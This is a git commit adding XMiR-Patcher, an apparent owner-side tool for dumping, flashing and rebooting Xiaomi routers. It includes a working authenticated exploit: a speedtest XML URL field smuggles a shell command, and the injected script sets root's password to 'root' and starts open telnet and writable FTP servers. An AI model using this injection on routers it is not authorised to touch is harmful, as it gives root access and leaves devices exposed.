Initial commit

pull/3/head
remittor 3 years ago
parent 1080ea57a4
commit 4947ded102

@ -0,0 +1,3 @@
@echo off
chcp 866 >NUL
start cmd /k python\python.exe menu.py

@ -1,2 +1,2 @@
# xmir-patcher # XMiR-Patcher
Firmware patcher for Xiaomi routers Firmware patcher for Xiaomi routers

@ -0,0 +1,223 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
import sys
sys.path.append(os.path.dirname(os.path.abspath(__file__)))
import gateway
from gateway import die
import read_info
from envbuffer import EnvBuffer
gw = gateway.Gateway()
dev = read_info.DevInfo(verbose = 0, infolevel = 1)
dev.get_bootloader()
if not dev.bl.img:
die("Can't dump current bootloader!")
for i, part in enumerate(dev.partlist):
print(' %2d > addr: 0x%08X size: 0x%08X name: "%s"' % (i, part['addr'], part['size'], part['name']))
if len(sys.argv) > 1:
fw_name = sys.argv[1]
else:
if dev.bl.type == 'breed':
print("The device has an Breed bootloader installed.")
print("It is possible to specify a specific kernel boot address (HEX-number).")
print("It is also possible to specify the kernel number or the name of its partition.")
fw_name = input("Enter kernel (number, address or name): ")
else:
fw_name = input("Enter kernel number (0 or 1): ")
fw_name = fw_name.strip()
if fw_name == "":
die("Boot partition not specified!")
fw_num = None
fw_addr = None
if len(fw_name) >= 6 and fw_name.lower().startswith('0x'):
fw_addr = int(fw_name, 16)
else:
try:
fw_num = int(fw_name)
if fw_num != 0 and fw_num != 1:
die("Boot partition number not correct! Must be 0 or 1!")
except Exception:
pass
#if dev.bl.type == 'pandora':
# die('Pandora bootloader not supported!')
if dev.bl.type == 'breed':
if fw_num is not None:
pname = 'kernel%d' % fw_num
p = dev.get_part_num(pname)
if p < 0:
die('Partition "{}" not found!)'.format(pname))
fw_addr = dev.partlist[p]['addr']
if not fw_addr:
if len(fw_name) < 4:
die('Incorrect boot partition name! (len: {})'.format(len(fw_name)))
p = dev.get_part_num(fw_name)
if p <= 0:
die('Partition "{}" not found!)'.format(fw_name))
fw_addr = dev.partlist[p]['addr']
#dev.verbose = 2
dev.get_env_list()
env = dev.env.breed
if env.data is None or env.max_size is None:
die("Can't found breed env address!")
env.var['autoboot.command'] = "boot flash 0x%X" % fw_addr
print("Breed ENV params for update:")
for i, (k, v) in enumerate(env.var.items()):
v = '' if (v is None) else ('=' + v)
print(" " + k + v)
bufsize = env.max_size
buf = env.pack(bufsize)
buf = b'ENV\x00' + buf[4:]
#print("env =", buf[:128])
data = env.data[0:env.offset] + buf + env.data[(env.offset + len(buf)):]
fn_local = 'tmp/env_breed.bin'
fn_remote = '/tmp/env_breed.bin'
with open(fn_local, "wb") as file:
file.write(data)
gw.upload(fn_local, fn_remote)
pe = dev.get_part_num(env.addr)
if pe < 0:
die('Partition for writing ENV {} not found!'.format("0x%08X" % env.addr))
part_addr = dev.partlist[pe]['addr']
part_name = dev.partlist[pe]['name']
cmd = 'mtd write {bin} "{part}"'.format(bin=fn_remote, part=part_name)
print("Send command: {}".format(cmd))
gw.run_cmd(cmd)
print('Breed ENV changed! Boot from {} activated.'.format("0x%08X" % fw_addr))
gw.run_cmd("rm -f " + fn_remote)
if fw_name != '0' and fw_name != '1':
sys.exit(0)
fw_addr = None
fw_num = None
try:
fw_num = int(fw_name)
except Exception:
pass
if fw_addr:
die('Required Breed bootloader for set custom boot address!')
if fw_num is None:
die("Boot partition not specified!")
if fw_num != 0 and fw_num != 1:
die("Boot partition number not correct! Must be 0 or 1!")
print("Run scripts...")
cmd = []
cmd.append("nvram set flag_ota_reboot=0")
cmd.append("nvram set flag_boot_success=1")
cmd.append("nvram set flag_last_success={}".format(fw_num))
cmd.append("nvram set flag_try_sys1_failed=0")
cmd.append("nvram set flag_try_sys2_failed=0")
cmd.append("nvram set flag_boot_rootfs={}".format(fw_num))
cmd.append("nvram commit")
gw.run_cmd(cmd)
print('Ready! Boot from partition "kernel{}" activated.'.format(fw_num))
'''
/*** Algorithm from stock uboot: ***/
#define OK 0
if ( flag_try_sys1_failed > 1 || flag_try_sys2_failed > 1 || flag_ota_reboot > 1 || flag_last_success > 1 )
goto boot_rootfs0;
if ( flag_try_sys1_failed == 1 && flag_try_sys2_failed == 1 )
{
if ( verifying_kernel0() == OK )
goto boot_rootfs0;
if ( verifying_kernel1() == OK )
goto boot_rootfs1;
}
if ( flag_ota_reboot == 1 )
{
flag_last_success = 1 - flag_last_success;
}
else
{
if ( flag_last_success == 0 )
flag_try_sys2_failed = flag_try_sys1_failed;
if ( flag_try_sys2_failed == 1 )
flag_last_success = 1 - flag_last_success;
}
if ( flag_last_success == 0 )
goto boot_rootfs0;
else
goto boot_rootfs1;
boot_rootfs1:
img_addr = 0x600000 // kernel1
flag_boot_rootfs = 1;
goto boot;
boot_rootfs0:
img_addr = 0x200000 // kernel0
flag_boot_rootfs = 0;
goto boot;
boot:
setenv("flag_boot_rootfs", flag_boot_rootfs);
factory_mode = 0;
crash_log_magic = 0;
ranand_read(&crash_log_magic, 0x140000, 4);
if ( crash_log_magic == 0x5AA5 )
{
factory_mode = 1;
printf("System is in factory mode.\n");
setenv("uart_en", "1");
setenv("boot_wait", "on");
}
saveenv();
ranand_read(img_header, img_addr, 64);
img_header_magic = ntohl(*(uint32_t *)img_header)
if ( img_header_magic != 0x27051956 )
{
printf("Bad Magic Number,%08X, try to reboot\n", img_header_magic);
goto bad_data;
}
if ( getenv("verify") != 'n' ) {
if ( verify_image(img_addr) != OK )
printf("Bad Data CRC\n");
goto bad_data;
}
}
do_bootm_linux(...)
bad_data:
if ( flag_boot_rootfs == 0 )
setenv("flag_try_sys1_failed", "1");
else
setenv("flag_try_sys2_failed", "1");
setenv("flag_ota_reboot", "0");
saveenv();
if ( factory_mode )
{
printf("System is in factory mode. U-Boot BOOT ERROR! \n");
nullsub_4();
while ( 1 ) // HARD CPU RESTART
;
}
return CRITICAL_ERROR
'''

Binary file not shown.

Binary file not shown.

Binary file not shown.

@ -0,0 +1,3 @@
{
"device_ip_addr": "192.168.1.1"
}

@ -0,0 +1,144 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
import sys
import re
import time
import random
import hashlib
import requests
import socket
import tarfile
sys.path.append(os.path.dirname(os.path.abspath(__file__)))
import gateway
from gateway import die
gw = gateway.Gateway(detect_device = False)
if len(sys.argv) < 2:
ip_addr = gw.ip_addr
else:
ip_addr = sys.argv[1]
if not ip_addr:
die("You entered an empty IP-address!")
gw.ip_addr(ip_addr)
gw.save_config()
def get_http_headers():
headers = {}
headers["Content-Type"] = "application/x-www-form-urlencoded; charset=UTF-8"
headers["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0"
return headers
gw = gateway.Gateway(timeout = 4)
if gw.status < 1:
die("Xiaomi Mi Wi-Fi device not found (IP: {})".format(ip_addr))
dname = gw.device_name
print("device_name =", gw.device_name)
if gw.ping(verbose = 0) is True:
die(0, "Exploit already installed and running")
try:
r0 = requests.get("http://{ip_addr}/cgi-bin/luci/web".format(ip_addr = ip_addr), timeout = 4)
except Exception:
die("Xiaomi Mi Wi-Fi device not found! (ip: {})".format(ip_addr))
try:
mac = re.findall(r'deviceId = \'(.*?)\'', r0.text)[0]
except Exception:
die("Xiaomi Mi Wi-Fi device is wrong model or not the stock firmware in it.")
key = re.findall(r'key: \'(.*)\',', r0.text)[0]
nonce = "0_" + mac + "_" + str(int(time.time())) + "_" + str(random.randint(1000, 10000))
password = input("Enter device WEB password: ")
account_str = (password + key).encode('utf-8')
account_str = hashlib.sha1(account_str).hexdigest()
password = (nonce + account_str).encode('utf-8')
password = hashlib.sha1(password).hexdigest()
username = 'admin'
data = "username={username}&password={password}&logtype=2&nonce={nonce}".format(username = username, password = password, nonce = nonce)
requrl = "http://{ip_addr}/cgi-bin/luci/api/xqsystem/login".format(ip_addr = ip_addr)
r1 = requests.post(requrl, data = data, headers = get_http_headers())
try:
stok = re.findall(r'"token":"(.*?)"',r1.text)[0]
except Exception:
die("Password is not correct!")
print("Begin creating a payload for the exploit...")
fn_dir = 'data/payload/'
fn_tmp = 'tmp/'
fn_payload1 = 'tmp/payload1.tar.gz'
fn_payload2 = 'tmp/payload2.tar.gz'
fn_bb1 = fn_tmp + 'busybox_01'
fn_bb2 = fn_tmp + 'busybox_02'
fn_bb = 'busybox_mips'
if dname == 'r3d':
fn_bb = 'busybox_armv7a'
if dname == "rb03":
fn_bb = 'busybox_arm64'
if os.path.exists(fn_payload1):
os.remove(fn_payload1)
if os.path.exists(fn_payload2):
os.remove(fn_payload2)
with open(fn_dir + fn_bb, "rb") as file:
bb = file.read()
fpos = len(bb) // 2
with open(fn_bb1, "wb") as file:
file.write(bb[:fpos])
with open(fn_bb2, "wb") as file:
file.write(bb[fpos:])
fn_exploit = "exp10it.sh"
command = "sh /tmp/" + fn_exploit
fn_executor = "speedtest_urls.xml"
with open(fn_dir + fn_executor, "rt", encoding = "UTF-8") as file:
template = file.read()
data = template.format(router_ip_address=ip_addr, command=command)
with open(fn_tmp + fn_executor, "wt", encoding = "UTF-8", newline = "\n") as file:
file.write(data)
with tarfile.open(fn_payload1, "w:gz", compresslevel=9) as tar:
tar.add(fn_bb1, arcname = os.path.basename(fn_bb1))
with tarfile.open(fn_payload2, "w:gz", compresslevel=9) as tar:
tar.add(fn_bb2, arcname = os.path.basename(fn_bb2))
tar.add(fn_dir + fn_exploit, arcname = fn_exploit)
tar.add(fn_tmp + fn_executor, arcname = fn_executor)
if os.path.exists(fn_bb1):
os.remove(fn_bb1)
if os.path.exists(fn_bb2):
os.remove(fn_bb2)
tgz_size1 = os.path.getsize(fn_payload1)
if tgz_size1 > 100*1024 - 128:
die("File size {} exceeds 100KiB".format(fn_payload1))
tgz_size2 = os.path.getsize(fn_payload2)
if tgz_size2 > 100*1024 - 128:
die("File size {} exceeds 100KiB".format(fn_payload2))
print("Start uploading the exploit with payload...")
urlapi = "http://{ip_addr}/cgi-bin/luci/;stok={stok}/api/".format(ip_addr = ip_addr, stok = stok)
if (fn_payload1):
requests.post(urlapi + "misystem/c_upload", files={"image":open(fn_payload1, 'rb')})
if (fn_payload2):
requests.post(urlapi + "misystem/c_upload", files={"image":open(fn_payload2, 'rb')})
print("Running TELNET and FTP servers...")
requests.get(urlapi + "xqnetdetect/netspeed")
time.sleep(0.5)
gw.ping()
print("")
print("#### Connection to device {} is OK ####".format(gw.device_name))

@ -0,0 +1,102 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
import sys
sys.path.append(os.path.dirname(os.path.abspath(__file__)))
import gateway
from gateway import die
import read_info
gw = gateway.Gateway()
dev = read_info.DevInfo(verbose = 0, infolevel = 1)
dev.get_dmesg()
dev.get_part_table()
if not dev.partlist or len(dev.partlist) <= 1:
die("Partition list is empty!")
fn_dir = 'backups/'
fn_old = fn_dir + 'full_dump.old'
fn_local = fn_dir + 'full_dump.bin'
fn_remote = '/tmp/mtd_dump.bin'
a_part = None
pid = None
if len(sys.argv) > 1:
for p, part in enumerate(dev.partlist):
print(' %2d > addr: 0x%08X size: 0x%08X name: "%s"' % (p, part['addr'], part['size'], part['name']))
print(" ")
a_part = input("Enter partition name or mtd number: ")
if a_part != 'a':
if isinstance(a_part, int):
p = a_part
if p < 0 or p >= len(dev.partlist):
die('Partition "mtd{}" not found!'.format(a_part))
else:
p = dev.get_part_num(a_part, comptype = 'ends')
if p < 0:
die('Partition "{}" not found!'.format(a_part))
name = dev.partlist[p]['name']
name = ''.join(e for e in name if e.isalnum())
fn_old = fn_dir + 'mtd{id}_{name}.old'.format(id=p, name=name)
fn_local = fn_dir + 'mtd{id}_{name}.bin'.format(id=p, name=name)
pid = p
os.makedirs(fn_dir, exist_ok = True)
if pid is None and a_part != 'a':
for p, part in enumerate(dev.partlist):
if part['addr'] == 0 and part['size'] > 0x00800000: # 8MiB
pid = p
name = dev.partlist[p]['name'] # "ALL"
name = ''.join(e for e in name if e.isalnum())
addr = dev.partlist[p]['addr']
size = dev.partlist[p]['size']
break
if pid is not None:
if os.path.exists(fn_dir):
if os.path.exists(fn_local):
if os.path.exists(fn_old):
os.remove(fn_old)
os.rename(fn_local, fn_old)
if a_part is None:
print("Full backup creating...")
gw.run_cmd("dd if=/dev/mtd{id} of={o}".format(id=pid, o=fn_remote))
print('Dump of partition "{}" created!'.format(name))
print('Download dump to file "./{}"...'.format(fn_local))
gw.download(fn_remote, fn_local, verbose = 0)
print("Completed!")
gw.run_cmd("rm -f " + fn_remote)
print(" ")
if a_part is None:
print('Full backup saved to file "./{}"'.format(fn_local))
else:
print('Backup of "{}" saved to file "./{}"'.format(name, fn_local))
else:
print("Full backup creating...")
for p, part in enumerate(dev.partlist):
if part['addr'] == 0 and part['size'] > 0x00800000: # 8MiB
continue # skip "ALL" part
name = dev.partlist[p]['name']
name = ''.join(e for e in name if e.isalnum())
addr = dev.partlist[p]['addr']
size = dev.partlist[p]['size']
fn_old = fn_dir + 'mtd{id}_{name}.old'.format(id=p, name=name)
fn_local = fn_dir + 'mtd{id}_{name}.bin'.format(id=p, name=name)
if os.path.exists(fn_dir):
if os.path.exists(fn_local):
if os.path.exists(fn_old):
os.remove(fn_old)
os.rename(fn_local, fn_old)
gw.run_cmd("dd if=/dev/mtd{id} of={o}".format(id=p, o=fn_remote))
print('Download dump to file "./{}"...'.format(fn_local))
gw.download(fn_remote, fn_local, verbose = 0)
gw.run_cmd("rm -f " + fn_remote)
print('Backup of "{}" saved to file "./{}"'.format(name, fn_local))
print(" ")
print("Completed!")

Binary file not shown.

Binary file not shown.

@ -0,0 +1,55 @@
if [ `ls /tmp/base.*.lmo |wc -l` -eq 0 ]; then
return 1
fi
if [ "$(mount| grep '/usr/lib/lua/luci')" != "" ]; then
sh /tmp/lang_uninstall.sh
fi
# delete old patch
rm -f /etc/rc.lang
# global firmware may contain a file "base.en.lmo"
[ -f /usr/lib/lua/luci/i18n/base.en.lmo ] && rm -f /tmp/base.en.lmo
mv -f /tmp/base.*.lmo /etc/
mv -f /tmp/lang_patch.sh /etc/
chmod +x /etc/lang_patch.sh
FILE_FOR_EDIT=/etc/init.d/boot
NEW_CMD="\[ -f \/etc\/lang_patch.sh \] && sh \/etc\/lang_patch.sh"
FILE_PATCHED=1
HAVE_PATCH=$(grep 'lang_patch.sh' $FILE_FOR_EDIT)
if [ -z "$HAVE_PATCH" ]; then
FILE_PATCHED=0
UCI_CFG=$(grep 'apply_uci_config' $FILE_FOR_EDIT)
if [ -n "$UCI_CFG" ]; then
sed -i "/apply_uci_config$/i$NEW_CMD" $FILE_FOR_EDIT
FILE_PATCHED=2
fi
UCI_DEF=$(grep 'uci_apply_defaults' $FILE_FOR_EDIT)
if [ -n "$UCI_DEF" -a $FILE_PATCHED == 0 ]; then
sed -i "/uci_apply_defaults$/i$NEW_CMD" $FILE_FOR_EDIT
FILE_PATCHED=3
fi
fi
# run patch
sh /etc/lang_patch.sh
# delete lang
uci -q delete luci.languages.ru
uci -q delete luci.languages.en
# add lang
uci set luci.languages.ru=Русский
uci set luci.languages.en=English
# set main lang
uci set luci.main.lang=en
# commit luci settings
uci commit luci
# reload luci
luci-reload & rm -f /tmp/luci-indexcache & luci-reload

@ -0,0 +1,22 @@
if [ `ls /etc/base.*.lmo |wc -l` -eq 0 ]; then
return 0
fi
mkdir -p /tmp/_usr_lib_lua_luci
cp -rf /usr/lib/lua/luci/* /tmp/_usr_lib_lua_luci/
mount --bind /tmp/_usr_lib_lua_luci /usr/lib/lua/luci
cp /etc/base.*.lmo /usr/lib/lua/luci/i18n
# save original file
cp -f /usr/share/xiaoqiang/xiaoqiang_version /etc/xiaoqiang_version
mkdir -p /tmp/_usr_share_xiaoqiang
cp -rf /usr/share/xiaoqiang/* /tmp/_usr_share_xiaoqiang/
mount --bind /tmp/_usr_share_xiaoqiang /usr/share/xiaoqiang
# unlock WEB lang menu
sed -i 's/ and features\["system"\]\["i18n"\] == "1" //' /usr/lib/lua/luci/view/web/inc/sysinfo.htm
# unlock change luci.main.lang
sed -i "s/option CHANNEL 'stable'/option CHANNEL 'release'/g" /usr/share/xiaoqiang/xiaoqiang_version

@ -0,0 +1,15 @@
if [ "$(mount| grep '/usr/lib/lua/luci')" != "" ]; then
umount -l /usr/lib/lua/luci
fi
rm -rf /tmp/_usr_lib_lua_luci
if [ "$(mount| grep '/usr/share/xiaoqiang')" != "" ]; then
umount -l /usr/share/xiaoqiang
fi
rm -rf /tmp/_usr_share_xiaoqiang
rm -f /etc/rc.lang
rm -f /etc/lang_patch.sh
rm -f /etc/base.*.lmo
luci-reload & rm -f /tmp/luci-indexcache & luci-reload

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

@ -0,0 +1,29 @@
# enable UART
nvram set bootdelay=5; nvram set uart_en=1; nvram commit
# change password for root
echo -e "root\nroot" | (passwd root)
if [ -f /etc/init.d/dropbear ]; then
# unlock autostart dropbear
sed -i 's/"$flg_ssh" != "1" -o "$channel" = "release"/-n ""/g' /etc/init.d/dropbear
if [ -f /usr/sbin/dropbear ]; then
# restart dropbear
/etc/init.d/dropbear stop
/etc/init.d/dropbear start
fi
fi
cd /tmp
rm -f busybox_tiny
cat busybox_01 busybox_02 > busybox_tiny
chmod +x busybox_tiny
# start telnet
./busybox_tiny telnetd
# start ftp
ln -s busybox_tiny ftpd
./busybox_tiny tcpsvd -vE 0.0.0.0 21 ./ftpd -Sw / >> /tmp/msg_ftpd 2>&1 &
#kill -9 `pgrep taskmonitor`

@ -0,0 +1,32 @@
<?xml version="1.0"?>
<root>
<class type="1">
<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
</class>
<class type="2">
<item url="http://{router_ip_address} -q -O /dev/null; {command}; exit; wget http://{router_ip_address} "/>
</class>
<class type="3">
<item uploadurl="http://www.taobao.com/"/>
<item uploadurl="http://www.so.com/"/>
<item uploadurl="http://www.qq.com/"/>
<item uploadurl="http://www.sohu.com/"/>
<item uploadurl="http://www.tudou.com/"/>
<item uploadurl="http://www.360doc.com/"/>
<item uploadurl="http://www.kankan.com/"/>
<item uploadurl="http://www.speedtest.cn/"/>
</class>
</root>

@ -0,0 +1,103 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
import sys
import re
import types
import binascii
class EnvBuffer():
addr = None
data = None # partition dump
offset = None # ENV offset in partition
len = 0
max_size = None
var = {} # key=value
encoding = 'ascii'
crc_prefix = True
delim = '\x00'
def __init__(self, data = None, delim = '\x00', crc_prefix = True, encoding = 'ascii'):
self.encoding = encoding
self.delim = delim
self.crc_prefix = crc_prefix
self.var = {}
if data is None:
return
prefix_len = 4 if crc_prefix else 0
if isinstance(data, str):
self.var = self.parse_env(data, delim)
else:
end = data.find((delim + delim).encode(encoding), prefix_len)
if (end > prefix_len):
data = data[prefix_len:end+1]
self.var = self.parse_env_b(data, delim, encoding)
def parse_env_b(self, data, delim, encoding = 'ascii'):
dict = {}
self.len = len(data)
data = data.split(delim.encode('ascii'))
for i, s in enumerate(data):
s = s.strip()
if len(s) < 1:
continue
x = s.find(b'=')
if x == 0:
continue
if x >= 1:
key = s[0:x].decode(encoding)
val = s[x+1:].decode(encoding)
dict[key.strip()] = val.strip()
else:
key = s.decode(encoding)
dict[key.strip()] = None
return dict
def parse_env(self, data, delim):
dict = {}
self.len = len(data)
data = data.split(delim)
for i, s in enumerate(data):
s = s.strip()
if len(s) < 1:
continue
x = s.find('=')
if x == 0:
continue
if x >= 1:
key = s[0:x]
val = s[x+1:]
dict[key.strip()] = val.strip()
else:
dict[s.strip()] = None
return dict
def set_env(self, key, value):
var[key] = value
def pack(self, bufsize, crc_prefix = None, encoding = None):
crc_prefix = crc_prefix if crc_prefix is not None else self.crc_prefix
encoding = encoding if encoding is not None else self.encoding
buf = b''
if self.var:
for i, (k, v) in enumerate(self.var.items()):
v = '' if (v is None) else ('=' + v)
buf += (k + v + '\x00').encode(encoding)
if len(buf) + 64 > bufsize:
raise OSError("Buffer overflow")
prefix_len = 4 if crc_prefix else 0
buf += b'\x00' * (bufsize - len(buf) - prefix_len)
crc = binascii.crc32(buf)
buf = (crc).to_bytes(4, byteorder='little') + buf
return buf

@ -0,0 +1 @@
In this folder, you should put the firmware for flashing.

@ -0,0 +1,231 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
import sys
import json
import time
import random
import hashlib
import subprocess
import re
import requests
import telnetlib
import ftplib
import atexit
def die(*args):
err = 1
prefix = "ERROR: "
msg = "<undefined>"
if len(args) > 0:
if isinstance(args[0], int):
err = args[0]
else:
msg = args[0]
if (err == 0):
prefix = ""
if len(args) > 1:
msg = args[1]
print(" ")
print(prefix + msg)
print(" ")
sys.exit(err)
def get_http_headers():
headers = {}
headers["Content-Type"] = "application/x-www-form-urlencoded; charset=UTF-8"
headers["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0"
return headers
class Gateway():
verbose = 2
timeout = 4
config = {}
device_name = None
webpassword = None
status = -2
ftp = None
def __init__(self, timeout = 4, verbose = 2, detect_device = True):
self.verbose = verbose
self.timeout = timeout
self.config['device_ip_addr'] = None
self.load_config()
self.device_name = None
self.webpassword = None
self.status = -2
atexit.register(self.cleanup)
os.makedirs('outdir', exist_ok = True)
os.makedirs('tmp', exist_ok = True)
if detect_device:
self.detect_device()
def detect_device(self):
self.device_name = None
self.status = -2
try:
r0 = requests.get("http://{ip_addr}/cgi-bin/luci/web".format(ip_addr = self.ip_addr), timeout = self.timeout)
r0.raise_for_status()
#with open("r0.txt", "wb") as file:
# file.write(r0.text.encode("utf-8"))
hardware = re.findall(r'hardware = \'(.*?)\'', r0.text)
if hardware and len(hardware) > 0:
self.device_name = hardware[0]
else:
hardware = re.findall(r'hardwareVersion: \'(.*?)\'', r0.text)
if hardware and len(hardware) > 0:
self.device_name = hardware[0]
self.device_name = self.device_name.lower()
except requests.exceptions.HTTPError as e:
print("Http Error:", e)
except requests.exceptions.ConnectionError as e:
#print("Error Connecting:", e)
return self.status
except requests.exceptions.ConnectTimeout as e:
print ("ConnectTimeout Error:", e)
except requests.exceptions.Timeout as e:
print ("Timeout Error:", e)
except requests.exceptions.RequestException as e:
print("Request Exception:", e)
except Exception:
pass
if not self.device_name:
die("You need to make the initial configuration in the WEB of the device!")
self.status = -1
x = -1
try:
x = r0.text.find('a href="/cgi-bin/luci/web/init/hello')
except:
return self.status
if (x > 10):
self.webpassword = 'admin'
die("You need to make the initial configuration in the WEB of the device!")
self.status = 1
return self.status
def cleanup(self):
try:
self.ftp.quit()
except Exception:
pass
try:
self.ftp.close()
except Exception:
pass
self.ftp = None
@property
def ip_addr(self):
return self.config['device_ip_addr']
@ip_addr.setter
def ip_addr(self, value):
self.config['device_ip_addr'] = value
def load_config(self):
self.config = {}
with open('config.txt', 'r') as file:
self.config = json.load(file)
self.config['device_ip_addr'] = (self.config['device_ip_addr']).strip()
def save_config(self):
with open('config.txt', 'w') as file:
json.dump(self.config, file, indent=4, sort_keys=True)
def set_config_param(self, key, value):
self.config[key] = value
self.save_config()
def create_telnet(self, verbose = 0):
try:
tn = telnetlib.Telnet(self.ip_addr)
tn.read_until(b"login: ")
tn.write(b"root\n")
tn.read_until(b"Password: ")
tn.write(b"root\n")
tn.read_until(b"root@XiaoQiang:~#")
return tn
except Exception as e:
#print(e)
if verbose:
die("telnet not responding (IP: {})".format(self.ip_addr))
return None
return tn
def create_ftp(self, verbose = 0):
if self.ftp and self.ftp.sock:
try:
self.ftp.voidcmd("NOOP")
return self.ftp #Already connected
except Exception:
pass
self.ftp = None
try:
#timeout = 10 if self.timeout < 10 else self.timeout
self.ftp = ftplib.FTP(self.ip_addr, user='root', passwd='root', timeout=self.timeout)
self.ftp.voidcmd("NOOP")
except Exception:
self.ftp = None
if verbose:
die("ftp not responding (IP: {})".format(self.ip_addr))
return None
return self.ftp
def ping(self, verbose = 2):
tn = self.create_telnet(verbose)
if not tn:
return False
ftp = self.create_ftp(verbose)
if not ftp:
return False
return True
def run_cmd(self, cmd, msg = None):
tn = self.create_telnet(self.verbose)
if (msg):
print(msg)
cmdlist = []
if isinstance(cmd, str):
cmdlist.append(cmd)
else:
cmdlist = cmd
for idx, cmd in enumerate(cmdlist):
cmd = (cmd + '\n').encode('ascii')
tn.write(cmd)
tn.read_until(b"root@XiaoQiang:~#")
tn.write(b"exit\n")
return True
def download(self, fn_remote, fn_local, verbose = 1):
self.create_ftp(self.verbose)
file = open(fn_local, 'wb')
if verbose and self.verbose:
print('Download file: "{}" ....'.format(fn_remote))
self.ftp.retrbinary('RETR ' + fn_remote, file.write)
file.close()
return True
def upload(self, fn_local, fn_remote, verbose = 1):
try:
file = open(fn_local, 'rb')
except Exception:
die('File "{}" not found.'.format(fn_local))
self.create_ftp(self.verbose)
if verbose and self.verbose:
print('Upload file: "{}" ....'.format(fn_local))
self.ftp.storbinary('STOR ' + fn_remote, file)
file.close()
return True
if __name__ == "__main__":
if len(sys.argv) > 1:
ip_addr = sys.argv[1]
gw = Gateway(detect_device = False)
gw.ip_addr = ip_addr
gw.save_config()
print("Device IP-address changed to {}".format(ip_addr))

@ -0,0 +1,70 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
import sys
sys.path.append(os.path.dirname(os.path.abspath(__file__)))
import gateway
from gateway import die
import read_info
if len(sys.argv) <= 1:
die("Bootloader name not specified!")
bl_name = sys.argv[1]
bl_name = bl_name.strip().lower()
gw = gateway.Gateway()
dname = gw.device_name
if not gw.device_name:
die("Xiaomi Mi Wi-Fi device not found! (IP: {})".format(gateway.ip_addr))
fn_dir = 'bootloader/'
fn_remote = '/tmp/bootloader.bin'
fn_local = None
if bl_name == 'breed':
if dname != 'r3g' and dname != 'r3p' and dname != 'rm2100':
die("Breed bootloader cannot be installed on this device!")
fn_local = fn_dir + 'breed_r3g_eng.bin'
if bl_name == 'uboot':
fn_local = fn_dir + 'uboot_{}.bin'.format(gw.device_name)
if not fn_local:
die('Incorrect bootloader name!')
if not os.path.exists(fn_local):
die('File "{}" not found'.format(fn_local))
dev = read_info.DevInfo(verbose = 0, infolevel = 1)
if dev.info.cpu_arch != 'mips':
die("Currently support only MIPS arch!")
dev.get_bootloader()
if not dev.bl.img:
die("Can't dump current bootloader!")
if dev.bl.spi_rom:
die("Not support SPI Flash ROM! (now supported only NAND)")
addr = None
for p, part in enumerate(dev.partlist):
if part['addr'] == 0 and part['size'] > 0x00800000: # 8MiB
continue # skip "ALL" part
if part['addr'] == 0:
name = part['name']
fname = ''.join(e for e in name if e.isalnum())
addr = part['addr']
size = part['size']
if addr is None:
die("No matching partition found!")
gw.upload(fn_local, fn_remote)
print ('Writing data to partition "{}" (addr: {}) ...'.format(name, "0x%08X" % addr))
gw.run_cmd('mtd write {bin} "{name}"'.format(bin=fn_remote, name=name))
print('Ready! Bootloader "{}" installation is complete.'.format(bl_name))

@ -0,0 +1,82 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
import sys
sys.path.append(os.path.dirname(os.path.abspath(__file__)))
import gateway
from gateway import die
gw = gateway.Gateway()
if not gw.device_name:
die("Устройство Xiaomi Mi Wi-Fi не найдено! (IP: {})".format(gateway.ip_addr))
fn_dir = 'firmware/'
fn_dir2 = fn_dir + '/tmp/'
fn_kernel = fn_dir2 + 'kernel.bin'
fn_rootfs = fn_dir2 + 'rootfs.bin'
os.makedirs(fn_dir2, exist_ok = True)
fn_list = [f for f in os.listdir(fn_dir) if os.path.isfile(os.path.join(fn_dir, f))]
if not fn_list:
die("В папке {} прошивка не найдена!".format(fn_dir))
fn_local = fn_dir + fn_list[0]
print("Считываю файл {}".format(fn_local))
with open(fn_local, "rb") as file:
data = file.read()
fw_type = None
if data[:4] == b'HDR1' or data[:4] == b'HDR2':
fw_type = 'stock'
die("Стоковые прошивки Xiaomi не поддерживаются!")
if data[:4] == b"\x27\x05\x19\x56": # uImage
fw_type = 'factory'
if data[:10] == b"sysupgrade": # TAR
fw_type = 'sysupgrade'
die("SysUpgrade прошивки (TAR-архивы) не поддерживаются!")
if not fw_type:
die("Неизвестный тип прошивки (header = {})".format(data[:16]))
if data[:4] == b"\x27\x05\x19\x56":
fw_type = 'factory'
if fw_type == 'factory':
pos = 0x0C
